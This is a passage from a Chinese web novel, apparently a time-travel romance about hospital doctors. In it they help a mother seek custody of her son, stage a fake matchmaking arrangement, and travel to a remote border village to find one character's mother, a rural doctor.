南栀:“没再婚才会真的对孩子好嘛,有的男人再婚是很快的,听说是因为家里缺保姆,所以要尽快找一个。” 南栀什么都不知道,南栀都是听舍友说的。 南栀:无辜。 井珧奶奶的表情逐渐扭曲。 保姆这词都整出来了。 在几年前,谁家敢找保姆,那肯定要戴上资本主义的帽子拉出去批斗的。 井珧奶奶不敢吭声了。 韦宁雨问:“为什么是保姆?” “要有人给他洗衣服做饭嘛,饭来张口衣来伸手,没人照顾不自在。” 韦宁雨:“还真是,我家附近的钱大爷70了,老伴死了半个月,就领回去一个夕阳红!” 阮乔仍然严肃,“他现在已经有新的保姆,请你们家放过井珧,别再给他灌输妈妈不好的想法,他明明可以同时得到你们和妈妈的爱,为什么要让他在恨中长大?” 几人一唱一和,一黑一白,一正一反。 好的话、不好的话都让他们说了。 井珧妈妈说:“这次无论如何我都不会让你们把井珧带走,你们不要以为我娘家不在临川就好欺负,我大哥和二哥已经答应过来帮忙了,要抢就来试试!” 井珧奶奶:“……” 以前他们也是仗着她娘家人都不在,才搞出这么多事。 南栀说:“不管井珧的抚养权归谁,探望孩子是你的权利,他们不能阻拦,如果他们坚持不让你见井珧,你可以走法律途径。” 俩人都挺茫然,“呃,抚养权是啥?” 南栀:“……” 这比糊涂账算的是真糊涂。 几个人都不懂法,也不知道当初办离婚证时是怎么说的,稀里糊涂就办好了。 井家人多,说一不二,占着孩子不撒手。 南栀把律师事务所的联系方式交给井珧妈妈 。 法律的普及还不到位呀。 经过这事,井珧老实很多,不像以前那样,总带着病房其他小朋友胡作非为。 阮乔看到井珧的变化,十分难过,“原来他只是因为在家里不开心,才喜欢住院。他只是不被关注,才要恶作剧。” 南栀安慰道:“他妈妈可以争抚养权,放心吧。” 阮乔说:“可我真的很担心……” “井珧有意愿和妈妈一起生活,法官会考虑的。” 阮乔:“他以后不往床底下藏了,谁拖床下的地啊?” 井珧满楼乱跑的时候,水泥地面都可干净了! 韦宁雨:“……” 南栀说:“可他喜欢拿着冰棍躲在床下,还会滴糖水。” 阮乔邪恶一笑,“我看见过,他还会舔干净。” 韦宁雨:“……” 养孩子真可怕。 阮乔道:“你们说,我爸会和井珧他爸一样吗,会不会故意说我妈坏话?可是他们真的对我挺好的,尤其是我爸,以前人家给介绍过对象,他本来挺满意的,可阿姨和我相处不好,他怕后妈对我不好,就一直没再婚。” 爷爷奶奶对她也很好,家里有什么好的都留给她吃。 阮乔挺希望妈妈也会想她的,但如果真是这样,又说明爸爸和爷爷奶奶……阮乔很矛盾。 南栀拽着阮乔往祁念珍办公室走,“井珧才五岁,他都能接受,你怕什么?” 阮乔捂住脸,“我不敢听!” 韦宁雨:“……” 她重新调整,这回捂住耳朵,“真的不敢问!” 韦宁雨:“……” 总觉得阮乔越来越傻了。 祁念珍的助理在办公室门口不敢进去。 南栀和阮乔走过来,南栀礼貌问道:“祁院长在吗?” 助理为难道:“刚刚陆医生来了,那位很厉害的麻醉医生,她们应该在谈很重要的事情,我们最好不要打扰。” 陆敬玮,留学学的就是麻醉,学成归国后,是国内少数接受过系统学习的麻醉医生,在全国都能排得上号的。 祁念珍这副院长也不是白做的,自身本事过硬。 她俩凑在一起聊的事,那一定是了不得的大事。 譬如医学界的最新发现。 譬如难道富雅医院医生的罕见病例。 譬如…… 办公室传来欢声笑语,门不太隔音,陆敬玮爽朗笑时,声音挺清晰,“这事就得拜托你,我们陆随条件也不是太差呀,家里就差他没结婚,我妈天天上火,你忍心看陆嘉述老前辈上火吗?” 南栀:“婚姻大事的确重要。” 助理:“……” 滤镜碎一地。 三人敲门进去。 助理先说完她的事,南栀才拉着阮乔过去。 陆敬玮本来要走的,但看到进来的是南栀,又笑眯眯地坐下了。 祁念珍先说道:“石晓灵的事我听说了,她的家长很感激你,特意写了表扬信。骨科那几个医生对利多卡因可能导致过敏的情况不了解,麻醉医生也一知半解,你来试着写一写。” 她知道所谓的“高仁”就是南栀。 以前她是看见南栀努力想拉一把,现在才知道她是真的捡到宝了。 陆敬玮好奇道:“石晓灵的手术和南栀有关?” 她是麻醉医生,知道利多卡因过敏有多罕见,她也只是留学时,曾在一个犄角旮旯中看到一起疑似利多卡因过敏的病例。 如果不是了解到石晓灵的手术,她都快把病例忘了。 祁念珍说:“是南栀提醒得及时,才救了晓灵。” 祁念珍朝陆敬玮笑笑,目光意味深长。 陆随家里条件是好,但真论个人条件,还指不定是谁配不上谁。 陆敬玮的惊讶都掩盖不住,“小南……不是儿科医生吗?” 而且还是只参加过培训的儿科医生。 祁念珍笑道:“有些天赋是没法比的。” 陆敬玮:“……” 这也太让人震惊了! 陆敬玮喃喃道:“现在我真的有其他想法了。” 南栀答应写一篇关于利多卡因过敏的文章,还需要骨科那边配合提供石晓灵的各项检查报告。 不过现在还有更重要的事。 南栀问:“祁院长,您和阮乔的妈妈是老同学,您有她的联系方式吗?我们……听说她是医生,想请教问题。” 不馋长撒谎的南栀努力编瞎话,阮乔不希望别人知道。 祁念珍道:“她是个很有天赋的医生,念书时成绩比我好太多,我本以为她会和我一起留在临川,十多年前却忽然离开了,说实话,我们也有十几年没联系过。” 阮乔失望地低下头。 南栀说:“她的爸爸妈妈在哪呢?可以试着联系他们吗?” 祁念珍思索片刻,道:“这样吧,我打电话给以前的同学问问看,不过不要抱太大希望,好多老同学已经联系不上了。” 南栀和阮乔坐下。 祁念珍:“……你们觉得这是能很快打听到的事?” 不该给她一点儿时间吗? 南栀点头,“能联系上的老同学不多,应该很快就能打完电话。” 祁念珍:“……” 陆敬玮:“噗。” 这姑娘的性格有意思,难怪陆随喜欢。 祁念珍生无可恋地拿起话筒。 当年她被骗做院长时,他们不是这样说的!! 他们说做领导很轻松!! 结果还真让南栀说着了。 祁念珍刚打通第三个电话,便有了线索。 “你的意思是,她不在临川,是要去其他医院,是去大城市了?” 想要发展,就得去大城市,临川是小庙,放不下大佛。 当年阮乔的母亲悟性高、成绩好,导师们都对她抱有期望,希望她能去富雅医院上班,这是荣誉。 这个电话讲了十分钟,祁念珍才放下话筒。 阮乔紧张地问道:“怎么样,她去首都了?现在是首都医院的医生?” 祁念珍摇头,犹豫道:“她好像……” “到底去哪了?!” 祁念珍说:“好像嫁得很远,快到边境了。” 一个有前途的医生,为了爱情,跑到比临川更落后的地区。 阮乔的情绪瞬间低落。 阮乔宁愿妈妈是为了前途才放弃她。 难道真的像爷爷奶奶说的,妈妈是有别人了? 阮乔起身,“算了,不找了,这么多年都过来了,无所谓。” 南栀却拉住她,“既然有线索,不如亲眼去看看,也算了了一桩心事。” 阮乔:“……” 南栀说:“你如果害怕,我可以陪你一起呀。” 阮乔十分感动,“你真好!你陪我去吧,我真不敢!” 俩人手挽手离开。 祁念珍:“……” “她们刚刚说什么?要去边境找人?” 陆敬玮点头。 祁念珍:“?!,不是,她们跟谁请假了?谁给她们假了?她们眼里还有我吗?!” 陆敬玮十分淡定,“当然没有,你自觉点,赶紧给人家批假。” 祁念珍:“?!” 到底是谁骗她当院长! 祁念珍:“不是我心黑,儿科就那么几个人,她俩走了,根本忙不过来。” 陆敬玮挑眉,“我保证你能忙得过来,而且以后可能会更忙。” 第42章 死啦陆敬玮不是个 细致的人,她只…… 陆敬玮不是个细致的人,她只有定麻醉用量时最仔细。 虽然有姑姑来照顾,陆随还是得时不时去食堂。 韦初雪这几天都很忙。 他们医院的医生上了杂志,全院轰动,其他人只顾着震惊和庆祝,只有韦初雪想搞清楚高仁究竟是谁。 儿科没来新的医生,就那么几位。 杂志社肯定会联系医院,高仁也不可能是其他医院的医生。 韦初雪怀疑是儿科的医生不想暴露,所以使用这个名字。 盛昭云的可能性最大。 但不知为何,韦初雪总是看南栀不对劲。 至于阮乔……不在考虑范围。 韦初雪见陆随一个人吃饭,走过去在他对面坐下,“石晓灵的手术,你和南栀都在?” 陆随拧眉。 “南栀懂得很多,你知道吗?” 陆随冷淡的“哦”了一声。 看到陆随的模样,韦初雪气不打一处来。 她质问道:“你到底怎样才能振作起来?” 陆随:“?” 韦初雪生气道:“我拒绝你,不是因为大家说你走后门,而是你的态度!我相信你的实力,一直鼓励你多学多做,你呢?一蹶不振!” 陆随大脑混乱,“等等,我回忆一下。” 韦初雪恨铁不成钢,“你还要躲到什么时候?一定要我答应你才行?如果你因为婚姻这种事,就能有动力努力,可以,我可以和你结婚。不过我要提醒你,我对男女这点儿事没有任何兴趣,也不要指望我对你有感情!” 周围有好几个正吃饭的医生,全员停止进食动作,震惊地看向韦初雪和陆随。 早就听说他们相过亲,但是没成。 原来是陆医生追求韦医生,韦医生不同意?? 医院的各种感情八卦最有趣了! 平日里严肃认真的医生们纷纷竖起耳朵。 陆随想了好一会儿,“好像还真有这么回事。” 原主是个内向的人,从小生活在家人的光环下。 每个人都对他有很高的期望,但他无论怎样努力,好像都没办法比家人更强。 奶奶、姑姑、姑父……就连早逝的父母都是有名气的医生。 他考上市里的重点高中,最开始每次考试都拿第一名。 大人们看到他就赞不绝口,但对原主来说,这不是鼓励,而是压力。 升入高二后,他的状态越来越差,经常失眠。 尤其是考试前,他几乎每晚都睡不着,总是担心拿不到第一名。 为此他还偷偷作弊过两次。 其实他打小抄的内容都记得,但就是心里不踏实,于是写好字条带进去。 有一次写纸条,正好被同班其他同学看到,便流传起他是靠作弊才拿第一的传言。 老师当然不相信,将那名同学骂了一顿,原主一直记得那位同学怨恨的目光。 在这种情况下,原主很喜欢永远自信的韦初雪。 陆随赶紧道歉,“以前是我不对。” 韦初雪:“这就对了,你不能浪费自己的天赋,要更上进……” 陆随说:“我也不知道为什么喜欢你,但我保证,以后绝对不会发生这种事。” 韦初雪:“要上进……恩?” 陆随很真诚,“你一定要相信我。” 医生们:“……” 南栀和阮乔刚进食堂就听到他们在讨论陆随和韦初雪。 阮乔道:“他俩其实挺配的,家世都好,而且长得都不错。” 有医生插嘴道:“配有啥用?他俩都是医生,都算是骨干了吧?两人都忙。咱们医院有好几对夫妻,都得是一方牺牲,才能有时间照顾家里。你让他们两个骨干谁牺牲?韦医生肯定不同意,陆医生能牺牲吗?” 阮乔说:“家里有啥?有孩子?不生呗!他俩在医院把日子过好,比什么都强!到时候直接把家搬到医院,实现上班、过日子同步化,想见面了就去对方科室看看,不想见面就留在自己科室,多好!” 如果让她和萧医生过上如此美好的日子,她一定乐意! 医生们:“……” “南栀啊,你快管管阮乔,她的嘴,我真是服了。” 南栀看了陆随好一会儿,听到别人叫她的名字才看过,“乔乔说的有道理哦!” 医生们:“……” 不能试图和儿科的人讲道理。 她们都是疯子! 南栀心里怪怪的。 她特意带阮乔坐到陆随旁边的桌子。 阮乔低声道:“坐这么近,不太好吧?” 人家俩人谈感情呢。 南栀很认真:“可我想听听他俩在说什么。” 阮乔:“……” 光明正大的偷听?这对吗? 阮乔正想给南栀说明偷听是不好的行为,祁念珍带着陆敬玮姗姗来迟。 陆敬玮也听到医生们的讨论,十分震惊,“陆随喜欢韦初雪?!他疯了?!” 脚踩两只船?!不能饶恕! 陆敬玮“噔噔噔”走到陆随旁边,一眼就看见韦初雪和南栀。 !! 太过分了,还光明正大坐在一起! “你,你……” 如果不是在食堂,陆敬玮都扇他一巴掌。 陆随已经察觉到食堂的异常,他拧眉道:“我说的很清楚,那是以前的事,不是现在。” “还嘴硬!”陆敬玮道,“你明明知道家里有多担心你的婚事,你没有一个好归宿,我们怎么对得起你爸妈?我告诉你,我们陆家没有花花肠子,收起你的心思,把心态调整好,回家给我相亲去!” 上火的陆敬玮说一不二。 陆随头都要炸了。 相亲,现代十大酷刑之一。 他正要为自己争取,南栀不高不低的声音传来,“要不我们相一下?” * 医院多了一条流传甚广的八卦。 原来陆医生一直暗恋韦医生,在韦医生终于打算接受陆医生时,儿科的小医生插了进来! 说要和陆医生相亲!陆医生还同意了! 破坏一段美好的姻缘! 一下午,阮乔已经为此和他们吵了好几架。 明明是陆随和韦初雪对彼此都没有意思,竟然说南栀破坏他们感情! 对南栀来说,这事很简单,她和学长都不喜欢相亲,她相信学长也是不想被男女感情纠缠的人,所以帮他一把。 反正对其他人来说,只要看起来有对象就好了,一般情况下大家只负责嚼舌根,不负责管他俩的日子是不是真能过好。 对陆随来说,这事就难了。 如果南栀知道他的身份,他不就完!了! 陆随往儿科走。 一路上都有医生和他打招呼,“陆医生,偷偷摸摸干嘛呢?” 陆随:“?” 他有偷偷摸摸吗? 陆随看向窗户玻璃中自己的倒影。 畏手畏脚、心惊胆战、鬼鬼祟祟…… 陆随:“……” 终于挪到儿科,南栀和阮乔正在为“出差”做准备。 祁念珍是不好给她们批太长的假的,于是决定让她们出去学习交流。 学习交流就有很多门道可以说说了,出过差的都懂。 萧珵也在。 “你们两个人去实在太危险,现在治安不好,谁能保证在火车上遇到什么人?火车上人多眼杂,有小偷,还有人贩子。你们被人骗了怎么办?打不过人家怎么办?” 看到萧珵,陆随鬼鬼祟祟的毛病一下子治好了,他昂首挺胸走进去。 南栀道:“阮乔必须要去看一眼,我得陪她。” 萧珵先瞪了陆随一眼,然后才说:“我和你们一起去。” 陆随对萧珵的敌视不意外,他总觉得他们生下来就是敌人。 作为敌人,陆随漫不经心道:“就怕有人请不下来这个长假。” 萧珵:“?” 虽然主任挺好说话,但心外忙得很。 请一两天可以,但这次显然不是一两天能解决的。 南栀和阮乔能走,听说是有人保证去借两个儿科医生。 他…… 看到萧珵吃瘪,陆随惬意道:“我就不同了,我现在是病人,可以住院,也可以回家。” 萧珵:“……” 南栀莫名期待,“陆医生,你要和我们一起去吗?” “不行,”萧珵拒绝,“他是男人,你们两个小姑娘,谁知道他有什么心思?” 陆随说:“我当然有心思。” 萧珵:“?” 陆随笑眯眯地问:“刚刚没去食堂吃饭?” 陆随的笑让萧珵背后发凉,“刚才太忙,同事帮忙打的饭,怎么了?” 陆随说:“我在和南栀接触,对相亲对象当然有心思,不然为什么接触?” 萧珵:“?!” 陆随和他妹妹接触,他怎么不知道?! 不对,现在不能说是他妹妹,没人会通知他。 南栀怕萧珵生气,赶紧说:“我 们只是去找乔乔的妈妈,不会出事的,你们都放心。” 于是办公室里两个男人都不太开心。 萧珵:“你帮他说话?” 陆随:“你和他解释什么?” 南栀:“……” 阮乔:“要不你们三个理一理关系,我先出去避一避?” 萧珵&陆随:“不行!” 他们又一起看向南栀,“你选!” 南栀:“……” “萧医生,你确实请不下来假,如果一定要有人陪我们去,肯定是陆随更合适。” 萧珵问:“你叫他陆随,叫我萧医生?” 陆随:“亲疏有别。” 南栀:“……” 阮乔挪到南栀身边,“我对男人越来越没兴趣了。陆医生我理解,你确定萧医生不喜欢你?你俩真是远房亲戚?” 南栀:“……” 陆随和萧珵还在拌嘴。 “她已经选了,别废话。” “她是被某些人的表象迷惑,以为他是好人。” “我不是好人?你报警啊。” “报就报,你勾搭人家未婚小姑娘,你是流氓罪。” “学没学过历史,知道什么叫流氓罪吗?” 南栀和阮乔默默退出病房。 这事和别人可以不解释,但阮乔是她的好朋友,不说清楚不太好。 南栀道:“其实……萧医生是我哥。” 阮乔:“明白,我是你姐。” 南栀:“……,不是这种。” 她将事情的来龙去脉说清楚。 阮乔听了好半天,总结道:“所以你们三个人都不属于这个时代,来自未来?” 南栀点头 阮乔:“未来黄金的价格会很高?” 南栀频频点头。 快买!必须买! 阮乔说:“我还是比较相信你老家真有高人。” 南栀:“……” 陆随成功把萧珵气走。 阮乔失望道:“萧医生平时明明都很沉着冷静的,现在怎么像个孩子?” 再也没法对着萧医生犯花痴了。 陆随把南栀叫到走廊,他得和她谈谈“相亲”的事。 这事得尽早坦白。 如果坦白了,南栀还能接受,那就说明,恩…… 南栀听到陆随的来意,大度地拍拍他的肩膀。 “我知道,你肯定不喜欢女孩。” 陆随:“?,我不喜欢吗?” “你肯定是一心努力工作,不会考虑结婚的事情嘛。” 陆随:“……我不考虑吗?” “我十分理解你,你是绝对不会想被这种事打扰的。” 陆随:“……” 他不希望吗?? 南栀慷慨陈词,“所以我才想帮帮你,以后你就有挡箭牌了,不用被催着去相亲!我懂你!” 陆随神色复杂:“谢谢你如此了解我。” 真是造了孽了。 南栀:“包在我身上!” * 阮乔的母亲杨芬今年四十五岁。 她与丈夫不是媒婆介绍,而是自由恋爱,他们在学校相识。 杨芬读临川市的医科大学,丈夫读财经大学,两所学校很近。 两人刚见面就对彼此有好感,很快坠入爱河。 男方家长对杨芬的农村户口有意见,曾阻止二人结婚,但架不住儿子态度坚决。 婚后他们有过短暂地幸福生活。 然而杨芬生下阮乔没几年,就跟着男人跑了。 这是爷爷奶奶的说法。 现在杨芬人在北方的边疆小镇,苏兰镇。 苏兰镇交通不便,经济条件落后,日子很苦。 临川市已经是小城市,苏兰镇连临川市的一个区都比不上。 南栀三人乘绿皮火车前往,还要坐近二十个小时的火车。 车上,南栀坐在中间,阮乔和陆随坐在两边。 阮乔盯着陆随看。 这是未来的人?真是? 明明还是陆医生的脸。 不过性格的确变化很大。 可即便如此,阮乔也不敢肯定,如果南栀不说,性格变化大又如何,她根本不会想到陆随的芯儿已经变了。 而且南栀还不让阮乔去证实。 据说陆随不知道萧珵也变了,似乎他们二人之间也有事瞒着彼此,没坦白。 未来的人真复杂! 昨天南栀给陆随的定位很明确,现在的他两耳不闻窗外事,一心向佛。 然而硬座实在难坐,这俩傻姑娘还不舍得买卧铺票。 乘警来来回回走了好几趟,每次都停在几个位置,意有所指地提醒他们注意看好包,其中一个点就在陆随附近。 陆随决定还是补三张卧铺票。 他正要去找列车长补票,身旁的二位歪倒过来。 阮乔靠着南栀的肩,南栀靠着他的肩。 南栀嫌他的肩膀太高,双手用了拽了一下,等陆随被迫低下身子,她才舒舒服服的继续睡。 睡觉还怪老实,一动不动的。 陆随:“……” 他对感情毫无兴趣,完全不在乎! * 苏兰镇与北国相邻,从地理环境来看,从苏兰镇去北国更便利,镇里的建筑也偏向北国的风格。 从前有政策限制,现在苏兰镇与北国的贸易很多,还有专门卖北国商品的百货大楼。 阮乔都这里的一切都很感兴趣。 建筑破破烂烂,但是很新颖,和临川市不一样。 “我妈就在这里过了十几年?真是不敢想象。” 苏兰镇的火车站很破烂,每两天才有一辆火车。 这是线路的终点站,没有更北方的城市。 阮乔曾经去过首都,见识到首都的面貌后便嫌弃临川,没想到还有比临川更破烂的地方。 三人找了一个招待所,先把东西安置好,然后去苏兰镇的医院。 提供线索的是杨芬的旧友,她们偶尔有书信往来。 杨芬称她在苏兰镇上唯一的医院工作。 这也是让阮乔无法理解的点,杨芬还记得和朋友通信,却不理会她这个女儿。 三人直奔苏兰镇人民医院,他们站在门诊楼前一动不动。 阮乔真心实意地忏悔:“我再也不说康宁医院破旧了。” 南栀说:“康宁医院是我见过的最好的医院。” 陆随:“……” 阮乔:“我将安心待在康宁医院,无私奉献。” 南栀双手合十。 陆随:“……” 虽然他什么都没说,但…… 他也很震惊! 印象中,他还真没见过这么差的医院。 南栀找到门卫大爷,看起来已经有七十多岁。 她向大爷打听杨芬。 大爷:“羊粪?有,农场里有,去农场找!” 陆随:“……” 南栀奇怪道:“阿姨又去农场干活了?” 阮乔:“……” 陆随把南栀提溜走。 这事就不能问耳朵不好用的大爷。 陆随找到一个护士,“您好,请问杨芬医生在吗?” 护士:“叽里咕噜呱呱呱。” 陆随:“……” 南栀奇怪道:“阿姨去池塘了?” 阮乔:“……” 语言不通。 苏兰镇的部分人来自北国,方言融合,刚才老大爷的话已经说得很标准了。 至于这位,他们是一点儿都听不懂。 他们又找了好几个医生,才终于找到了以为稍微年轻些的,几人勉强能交流。 年轻医生说:“杨芬是我们这里的医生,不过她已经走了两个月了。” 阮乔两眼一黑,“走、走了?!” 她好不容易鼓起勇气来找妈妈,居然没见到最后一面?! 阮乔抱着南栀痛哭,“没想到上次见面是天人永隔。” 年轻医生奇怪地看着阮乔,“是啊,去村子里了,两个月前走的,还没回来。” 陆随:“……” 阮乔紧急收回眼泪。 医生说杨芬去的村子叫骆驼村。 村里没沙漠也没骆驼,不知道谁起的名字,几百年前就叫骆驼村。 至于去骆驼村做什么,她也说不明白,她的普通话也不是十分标准,有很多词都不会说。 南栀依稀听到“婚礼”什么的。 阮乔的心凉了一半,“她真的是为了男人来这里的。” 哪怕杨芬是为了事业,阮乔都不会这么生气。 南栀说:“肯定不是啦,你放心。” 阮乔:“有你真好。” 南栀:“肯定不会等到现在才办婚礼的,要办早就办啦。” 阮乔更加感动:“以后不要随便安慰别人了,我怕你挨打。” 三人还得往骆驼村去。 去骆驼村就难了,他们得搭牛车,没有通往骆驼村的马路。 牛车不是轻易能找到的,骆驼村太穷太偏僻,很少有人过去。 仨人请医院的工作人员帮忙,蹲了三天才等到一辆车。 坐在能把腰晃断的牛车上,南栀庆幸道:“幸好没让萧医生来,他的时间肯定来不及,主任不会同意的。” 陆随语气不善,“你倒是关心他。” 南栀见状,无奈地叹气。 幸好陆随不知道萧珵就是哥哥,不然他会更生气的! 他现在就已经很讨厌哥哥了! 阮乔:“……” 她怎么觉得好像不是这样呢…… 牛车晃悠了快一天,才到山中的村子,他们要休息一晚,明天接着走山路。 赶车的是医院的老熟人,不然就这深山老林,他们都不敢来。 难怪被拐进山中的妇女都跑不出去。 阮乔的心情越来越差。 能让杨芬放弃一切追过来的男人,就住在这种村子里? 她的妈妈就真的……这么爱他? 阮乔想,她一定要克制自己,等见了妈妈,要真诚地嘱咐她。 明晃晃的太阳将几人烤醒,没有太阳伞遮挡,再睡一会儿,他们就能被烤熟了。 车夫乐呵呵地把陆随拽下来,给他指大牌坊。 陆随叫醒南栀,“骆驼村到了。” 骆驼村比大桑村还要贫困,有的房子已经明显快塌陷,可还有人住着。 街上人不多,孩子们光脚在土地上跑,脚心有一层厚厚的茧子。 就像南栀在新闻上看到过的,只不过当时看到的都是其他国家的人。 原来他们国家发展得这么不容易。 有了语言不通的教训,南栀先问车夫谁能讲普通话。 车夫用方言叫来一个女人。 南栀先递上一盒点心,是他们买了打算在路上吃的,但实在没胃口。 点心还没拆封,是干净的。 南栀问:“请问杨芬在吗?” 女人一愣,“你找杨芬?” 南栀点头。 女人紧张道:“你也被她骗了?不对,你是被她抢老公了?这个男娃被她骗了?造孽啊!造孽!她到底骗了多少人的感情呦!” 阮乔两眼一黑又一黑。 女人安慰道:“你们不用难过。” 阮乔哆哆嗦嗦,“为什么?” 女人说:“她已经遭报应了,死啦!” 阮乔:“……” 心梗了。 第43章 第43章治病救人 阮乔一晕再晕。 幸好有南栀扶着,不然她真要倒在地上,然后挖个坑把自己埋了,永不见天日。 陆随问:“您能说的更清楚些吗?” “还要咋清楚?”女人说,“她就是日子过得太难,没办法,多找了几个男人。男人嘛,不就为了**里那点儿事,给点儿甜枣就掏钱。小伙子,你……你倒是她找的第一个年轻人哦。” 陆随:“……” 女人:“有眼光!” 陆随解释,“我们是帮朋友找她的母亲。” 阮乔虚弱地点头。 女人惊讶道:“什么,她在外面搞出了孩子?” “什么,她的孩子都这么大了?!” “天老爷,她十岁就会生孩子!” 南栀:“……” 这不太对吧? 女人觉得南栀几人像是骗子。 看他们的打扮不像是普通人,其中陆随穿得最好,和骆驼村的人是天差地别。 她还没见过骆驼村有人穿的确良的衬衣呢。 南栀和阮乔的发型都挺时髦,尤其是阮乔,来之前稍微烫了烫,像杂志的封面女郎。 就说杂志,骆驼村都没人买得起,唯一的几本都是别人带过来的,现在留在家里糊墙。 也有人试图用它擦屁股,倒是不硌得慌,就是…… 总而言之,哪有时髦的年轻人会来他们村? 女人看向赶车的大哥,“你到底带了什么人到村子里?” 她一喊,四面八方的几个男人便走了过来。 在骆驼村生活的人,尤其是男人,都是五大三粗、皮肤黝黑的,估计打人挺疼。 南栀说:“你听我解释,我们真是来找妈妈的。” 阮乔:“我们绝不向恶势力低头!” 俩人躲到陆随身后,“陆医生,靠你了!” 陆随:“?” 靠他吗? 陆随获得了自己新的人设:以一敌百。 南栀知道他们得赶紧解释误会,正想开口,就见不远处的房子里跑出一个女人,女人朝四周招手,“快来人!来人啊!帮帮忙,孩子病了,帮我抬过去!” 南栀不知道他们要把孩子抬到哪里,那女人刚出来喊了几句,几个大汉就跑过去帮忙了。 “有什么症状呀?我们能不能帮忙?”南栀趁机拉拢他们,“我们都是医生。” 阻拦南栀的女人“呸”了一声,“你们几个小不点,还医生?赶紧回去读高中吧!” 背痛中的阮乔不忘接下夸赞,“我果然还很显年轻。” 南栀:“……” 南栀拽着女人跑过去,“我真是医生,而且是儿科的,她不是说孩子病了吗?我先帮你瞅瞅,这地方也没有医院啊。” 女人看南栀的目光有些古怪,但没来得及说。 小男孩已经被抬出来,大概八九岁。 他眼睑红肿,有一个大脓包。 大概是很疼,男孩哭得撕心裂肺,一直试图用手去控制脓包。 南栀及时抓住他的手,“这是眼睑腺体化脓了,是麦粒肿。” 陆随蹲下来摸男孩的额头,“在发热。” 南栀说:“他的情况需要切开引流,需要手术刀,这里条件太简陋,他的情况还能再坚持,把他送到镇里的医院吧。” 几个村民轻笑一起。 女人说:“你好像还真是医生。” 南栀点头,“我们真的是来找人的,不是坏人。” 女人道:“行吧,我相信你。” “那就尽快把孩子送到医院吧,我可以陪他一起去,如果路上感染更严重,你们允许的话,我可以直接为他引流。” 南栀的观念还在被后世影响,总想尽量按照规范做事,以免被举报。 女人的笑容更加古怪,“你都能做,应该不是大事。” 她大手一挥,“送去卫生所!” 南栀几人都愣住。 阮乔:“这里还有卫生所?!” 南栀拧眉道:“卫生所应该处理不了。” 他们大桑村也有诊所,但诊所是什么水平,大家都知道。 张医生最多最多只能接生孩子,不然当初也不会拉着下乡医疗队不放。 女人自豪道:“我们不仅有卫生所,我们还有医生!我们的医生,可比你们一个毛都没长齐的孩子强多了!” 南栀还想再劝,大汉们瞪过来,陆随把南栀拉到身后。 陆随道:“可以送去,但我们也得去。” 女人说:“随你们。” 骆驼村不但真有卫生所,卫生所门口还有不少人。 一圈木栅栏围着一个半截墙涂了蓝色油漆的房子,院里站着几个村民。 对面是个平整的大石头,被用来当桌子,桌子上放了些鸡蛋 、干粮。 女人嚷着,“让一让,让一让,孩子病了!” 被推开的村民不满地嘀咕道:“杨医生都教过的,要排队才能看病,咋插队?” 他一回头,看到好几个人抬着孩子进来,孩子哭得正凶,这下不敢再拦着了。 杨医生也说过,看病不是什么时候都能排队的,看病要分轻重缓急,小病要给急诊让路。 听说大医院的急诊都是这样的。 大家伙帮忙把孩子送进去。 南栀惊讶地看着他们。 有秩序地排队,懂得让急病先接受治疗…… 卫生所面积不大,看起来只有五六个房间,靠近门口的一间被当作诊室。 孩子被送进去,女人才说:“医生不仅来我们村子,她还会去其他村子,听说是医院领导同意的,看病不收钱,药也不收钱,来看病的村民挺多,我们和她都很熟,她是我们的救星!” 诊室里,一个头发已经白了将近一半的女人正在埋头写着什么,应该是病例。 她脸上的皱纹很多,皮肤是小麦色,但能看到衣服下的皮肤仍然是白的。 五官很立体,没有多余的赘肉,显得有些苍老。 南栀几人走进去,看到女人竟还戴工牌。 阮乔惊呼出声。 工牌上写着医生的名字:杨芬。 来骆驼村看诊的医生是杨芬! 杨芬笑着安抚小朋友,然后对家长说明情况,“是麦粒肿,要先引流。” 家长好像无条件信任杨芬,“您说怎么做就怎么做,我们都同意。” 杨芬点头,说:“送到手术室吧。” 南栀更加震惊。 这样小的一个卫生所,竟然还有手术室?! 家长把孩子抱到走廊尽头的房间。 人太多,南栀几人被挡住,杨芬没有看到他们,匆匆向手术室走去。 南栀实在太震惊了,不由自主地跟过去。 她想知道为什么村子里的卫生所还会有手术室。 到了门口才知道,手术室其实只是简易的无菌环境。 有一些设备,但更多的是杨芬自己搜刮来的东西,比如各种管子,能用来当引流管。 她利用生活物品,做了很多医生用的工具。 杨芬检查手术室的药品,“没有利多卡因了,能忍住疼吗?” 男孩哭得更伤心。 杨芬说:“哭的小孩儿没有奶糖吃。” 男孩哭声不止。 杨芬:“但是小虎会有奶糖。” 男孩哭声停止。 手术室外的大人们哄笑,“自己可以不吃糖,但绝对不能给死对头吃!” 说话间,杨芬已经消过毒,找到麦粒肿最隆起的部位迅速切开,她使用的不是手术刀片,而是针头。 动作相当利落,脓流出来时,男孩才想起来继续哭。 她排出脓液,再用生理盐水冲洗,最后涂红霉素眼膏。 杨芬淡定道:“不要用手碰它,得吃药,这几天注意一点儿,有问题再来找我。如果再发作,就要进一步检查了。” 她说完便往外走。 阮乔立刻把南栀和陆随拉出去。 她心里太乱,现在没法面对杨芬。 三人找到说杨芬已经去世的女人。 南栀问:“我们说的杨芬,是苏兰镇人民医院的医生,您说的是吗?” 女人怔住,“啊?医生?杨芬、杨芬……哦,杨医生确实也叫杨芬!!” 阮乔:“……” 她不敢说话,紧张地盯着女人。 女人说:“我之前说的杨芬是我妹妹,你们来找我问,我当然以为是在问我妹妹!杨医生嘛,就是刚刚给做手术的,她也叫杨芬,她是你们要找的妈?” 找妈小团队集体点头。 阮乔慢慢活了过来。 女人的态度立刻热情起来,“杨医生可是好人呐,这事怪我,我都忘了她叫杨芬,平时我们都管她叫杨医生,我们这里只有她这一个医生。” 在院子排队看病的村民也说:“杨医生一分钱不收,药到病除,是我们的大恩人!” 阮乔紧张地问道:“她……她和她男人住在一起吗?” “你这话说的,”女人十分嫌弃,“杨医生是来给我们看病的,怎么会和男人住在一起?我们村的人都很佩服杨医生,你不要造谣,小心被人家听到,把你打出去!” “不能说杨医生的坏话啊,人家是来看病的,不是乱搞的!你这小姑娘可真毒,杨医生你都敢编排?!” 就算杨医生哪天真从窗户里钻出来了,他们也坚信,就杨医生的人品,她一定是去给人治病的! 这彪悍的民风,南栀喜欢。 阮乔越听越糊涂,“她不是为了男人才过来的?” 